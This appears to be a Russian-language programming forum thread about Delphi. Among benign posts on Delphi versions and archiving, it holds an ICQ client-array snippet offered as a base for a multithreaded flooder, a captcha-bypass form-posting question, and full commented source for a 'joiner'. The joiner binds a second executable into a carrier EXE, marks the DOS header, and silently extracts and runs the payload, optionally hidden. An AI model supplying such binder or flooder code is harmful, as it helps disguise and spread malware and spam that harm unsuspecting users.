Наконец-то! Кстати если вдруг не знал можно сделать массив компонентов(Применить можно при создании многопоточного флудера) Code: program isqB; uses Windows,SysUtils,Registry,ICQClient,ICQWorks,FileC trl;//Здесь пробел не забудь убрать!!(Форум вставил) var k:string; [COLOR=Navy]ICQ: array [1..30] of TICQClient;[/COLOR] begin ICQ[1]:= TICQClient.Create(nil); ICQ[1].UIN:=44028835; ICQ[1].Password:='kd'; ICQ[1].ICQServer:='login.icq.com'; ICQ[1].ICQPort:=5190; icq[1].Status:=8; ICQ[1].Login(); end.
Гугл не захотел помочь нормально с отключением ява скриптов в твеббраузере. =/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
Гугл не захотел помочь нормально с отключением ява скриптов в твеббраузере. =/ и оффтопный вопрос: какой ща последний делфи? А то я на 7 учусь.Есть ли смысл переходить на другой?Для новичка.
Последняя Delphi 2007, явных отличий, из-за которых новичку захочется перейти сюда с семёрки (кроме слегка модфицированного интерейса, теперь напоминающего MS Visual Studio) не вижу. Вроде ещё есть возможность работы с .NET, но у меня версия D2007 for Win32 так что оценить не смог Вердикт - пока смысла менять семёрку не что-либо другое не стоит.
А моё (и не только моё) имхо - лучшие версии делфы - это тройка, шестёрка, xrnm похуже - семёрка (хотя сам сижу на ней). Касательно Delphi >= 8 - единственное, что там заметно - огромное влияние мелко$офта, который, по сути, скушал Borland. Там, на самом деле, всё, что есть - это та самая .NET, выдуманная опять же мелко$офтом взамен Борландовской COM... Короче говоря, Delphi >= 8 - это полный отказ Борланда от своих принципов и переход под крыло мелко$офта.
Пишу файловый клиент, смысл таков в первое поле вводим адрес файла во второе почту, в третье символы с картинки! проблема в капче, как делаю я(неправильно), тупо скачиваю картинку и загружаю ее в timage, далее юзер вводит данные и прога пытается отправить пост запрос на сервак!отправляет но бестолку! Вопрос: как сделать загрузку картинки правильно? возможно узнав ее айди и при составлении запроса добавлять его? Просьба помочь! Если можно подробней и с примером!заранее спасибо
Полностью с тобой согласен. Начинал програмить на 5-той, потом перешол на 6,7 но когда увидел 8-ку был в шоке, потому досих пор сижу на 7-ке.
ZirroCool, сорс, сайт с картинкой и т.д. в студию, я свой телепат шлем отдал другу, поэтому понять чё у тебя там не получается не могу, не знаю как остальные
вот сервис mailsend.kiber-zona.org вот в принцепе весь код который я написал, но ошибка в капче я точно знаю, по этому и спрашиваю как это сделать правильно! Code: function DownloadFile(SourceFile, DestFile: string): Boolean; begin try Result := UrlDownloadToFile(nil, PChar(SourceFile), PChar(DestFile), 0, nil) = 0; except Result := False; end; end; procedure JPEGtoBMP(const FileName: TFileName); var jpeg: TJPEGImage; bmp: TBitmap; begin jpeg := TJPEGImage.Create; try jpeg.CompressionQuality := 100; {Default Value} jpeg.LoadFromFile(FileName); bmp := TBitmap.Create; try bmp.Assign(jpeg); bmp.SaveTofile(ChangeFileExt(FileName, '.bmp')); finally bmp.Free end; finally jpeg.Free end; end; procedure TForm1.FormCreate(Sender: TObject); const SourceFile = 'http://mailsend.kiber-zona.org/captcha/index.php'; DestFile = 'index.jpeg'; begin DownloadFile(SourceFile, DestFile); JPEGtoBMP('index.jpeg'); image1.Picture.LoadFromFile('index.bmp'); end; procedure TForm1.BitBtn1Click(Sender: TObject); var response: string; formData: TIdMultiPartFormDataStream; begin formData := TIdMultiPartFormDataStream.Create; formData.AddFormField('usrurl',Edit1.text); formData.AddFormField('mail',Edit2.text); formData.AddFormField('simbols',Edit3.text); response := idHTTP1.Post('http://mailsend.kiber-zona.org/index.php',formData); end;
разбираюсь с сортировкой шелла, но чего то не получается у меня проверить все элементы находящиеся на одинаковом расстоянии: Вот код навоял, типа проверка первого элемента с элементами через расстояния:
как сжать папку с файлами на Delphi? как сжать папку с файлами на Delphi? желательно в rar? Может есть компоненты ?
Устанавливаешь ZipForge и как то так =) Code: procedure Arhived(Dir, inFile, outFile: String); var arh: TZipForge; begin arh := TZipForge.Create(nil); with arh do try FileName := Dir + outFile; BaseDir := Dir; Active := true; AddFiles(inFile); Active := False; finally Free; end; end; А вообще у ZipForge хороший ман... там всё есть
А как в Делфи написать прогу , которая записывала бы себя в ЕХЕ и при запуске этого ЕХЕ запускалась бы старая и прога и та , которая переписывает себя ?
Вот откопал исходники примитивного склейщика 2 файлов! Code: Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal); const mSize=56789;//Размер программы-носителя к которой будет крениться файл fSize=12345;//Размер крепимого файла //Эти два значения мы устанавливаем опытным путем и записываем сами type MnBuf=array[1..mSize] of Char; FlBuf=array[1..fSize] of Char; LaBuf=array[1..8] of Char; var mBuf : MnBuf; fBuf : FlBuf; lBuf : LaBuf; f : File of Char; begin FileMode:=0;//Устанавливаем режим работы с файлами “Только чтение” AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе Reset(f);//Открываем себя Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт //В DOS-заголовке ехе-файла на имеются зарезервированные места, //которые пока их не заняли мы можем свободно использовать //на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf if LBuf=’E}{eC()M’ then //Если в этом месте наша метка значит файл уже приклеин и нам необходимо //его из себя извлечь и по необходимости запустить в выбраном режиме отображения //Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции // и не более 20 байт в позиции 28h… Мы находимся на втором уровне Begin Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл CloseFile(f);//Закрываем себя FileMode:=2;//Устанавливаем режим работы с файлами “Только запись” {$I-}//Отключаем проверку ошибок ввода вывода AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки ReWrite(f);//Создаем с перезаписью пустой файл BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла CloseFile(f);//Закрываем себя {$I+}//Включаем проверку ошибок ввода вывода if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow); //Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой end else //Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла //Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл begin {$I-}//Отключаем проверку ошибок ввода вывода Seek(f,0);//Переходим на позицию начала своего файла BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл CloseFile(f);//Закрываем себя AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу Reset(f);//Открываем его BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл CloseFile(f);//Закрываем клеимый файл FileMode:=2;//Устанавливаем режим работы с файлами “Только запись” AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем, //как у файла носителя + .ЕхЕ ReWrite(f);//Создаём новый пустой файл BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла seek(f,$1C);//Переходим на позицию установки метки LBuf:=’E}{eC()M’;//Присваивем переменной значение метки BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания CloseFile(f);//Закрываем файл {$I+}//Включаем проверку ошибок ввода вывода end; end; begin //Применение процедуры Joiner: //fName - Имя клеимого файла //fPath - Папка распаковки файла //fCMD - командная строка запуска файла (если есть) //fstart - true - запускаем, false - не запускаем, извлечённый файл //fShow - Режим отображения запущеного файла например: //SW_HIDE - Прячет окно и переводит в активное состояние другое окно. //SW_MINIMIZE - Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон. //SW_RESTORE - Действует так же, как и SW_SHOWNORMAL. //SW_SHOW - Активизирует окно и выводит его в текущей позиции и текущего размера. //SW_SHOWDEFAULT - Активизирует окно и выводит его с использованием текущих умолчаний. //SW_SHOWMAXIMIZED - Активизирует окно и выводит его с максимально размером. //SW_SHOWMINIMIZED - Активизирует окно и выводит его в виде пиктограммы. //SW_SHOWMINNOACTIVATE - Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным. //SW_SHOWNA - Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным. //SW_SHOWNOACTIVATE - Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным. //SW_SHOWNORMAL - Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна. //SW_SHOWSMOOTH - Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами. ====================================== Так же можешь использовать Asm вставки!